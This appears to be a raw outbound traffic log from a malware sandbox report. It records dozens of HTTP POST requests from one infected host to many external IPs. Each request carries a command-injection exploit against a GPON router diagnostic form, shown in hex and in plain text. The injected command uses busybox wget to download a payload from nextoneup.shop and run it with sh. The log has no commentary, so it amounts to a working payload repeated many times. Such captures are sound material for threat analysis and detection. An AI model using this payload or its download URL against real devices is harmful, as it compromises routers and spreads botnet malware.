Apr 14, 2024 03:59:50.750271082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	45978	148.50.248.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750322104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	51268	2.215.251.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750329018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	38218	94.41.41.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750380993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	42094	118.121.93.8	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750407934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	50190	118.237.80.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750453949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	35982	118.196.66.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750471115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	35902	202.12.222.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750514030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	52130	123.48.138.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750531912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	39990	178.62.142.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750545979 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	36448	210.42.174.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750569105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.13	59664	148.65.191.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750622034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.13	45052	123.151.214.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750654936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.13	46586	202.161.106.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750690937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.13	46476	109.209.87.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750690937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.13	42570	94.193.202.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750715971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.13	42100	212.71.208.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750734091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.13	60032	79.91.59.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750751019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
424	192.168.2.13	58150	148.21.242.19	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750775099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.13	48634	109.92.229.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750808954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.13	55452	109.134.16.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750871897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	33958	148.172.113.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750871897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	47252	37.137.89.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750905037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	43494	123.131.97.138	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.750929117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	51876	42.134.36.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751019001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	47662	212.131.133.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751023054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
